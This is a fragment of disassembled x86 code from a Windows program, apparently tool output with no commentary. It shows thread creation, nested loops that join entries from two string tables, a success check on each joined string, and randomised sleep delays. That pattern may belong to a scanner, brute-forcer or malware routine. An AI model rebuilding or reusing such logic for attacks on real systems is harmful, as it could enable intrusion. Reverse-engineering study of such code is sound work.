mov ecx, dword [ebp - 0xfd0]
add ecx, 1
mov dword [ebp - 0xfd0], ecx
cmp dword [ebp - 0xfd0], 0x64
jae 0x403fbc
mov edx, dword [ebp - 0xfd0]
mov eax, dword [ebp + edx*4 - 0x1254]
mov dword [ebp - 0xfb4], eax
push 0
push 0
lea ecx, [ebp - 0xfb4]
push ecx
push 0x401c90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403f6d
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x28
push 0
lea edx, [ebp - 0xfac]
push edx
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
mov eax, 1
test eax, eax
je 0x4040ea
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xfd4], 0
jmp 0x40400b
mov ecx, dword [ebp - 0xfd4]
add ecx, 1
mov dword [ebp - 0xfd4], ecx
cmp dword [ebp - 0xfd4], 0x64
jae 0x4040bb
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xfbc], 0
jmp 0x40403b
mov edx, dword [ebp - 0xfbc]
add edx, 1
mov dword [ebp - 0xfbc], edx
cmp dword [ebp - 0xfbc], 8
jae 0x4040b6
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xfbc]
mov ecx, dword [ebp + eax*4 - 0x10c0]
push ecx
mov edx, dword [ebp - 0xfd4]
mov eax, dword [ebp + edx*4 - 0x1254]
push eax
push str._s_s
lea ecx, [ebp - 0x350]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov edx, dword [ebp - 0xfbc]
lea eax, [ebp + edx*4 - 0xfac]
push eax
lea ecx, [ebp - 0x350]
push ecx
call fcn.00401ae0
add esp, 8
movzx edx, al
cmp edx, 1
jne 0x4040b1
lea eax, [ebp - 0x350]
push eax
call fcn.004014d0
add esp, 4
jmp 0x40402c
jmp 0x403ffc
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [ebp - 0xff0], eax
mov eax, dword [ebp - 0xff0]
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 0xa
add edx, 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403fdb
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004040fa
mov esp, ebp
pop ebp
ret 0x10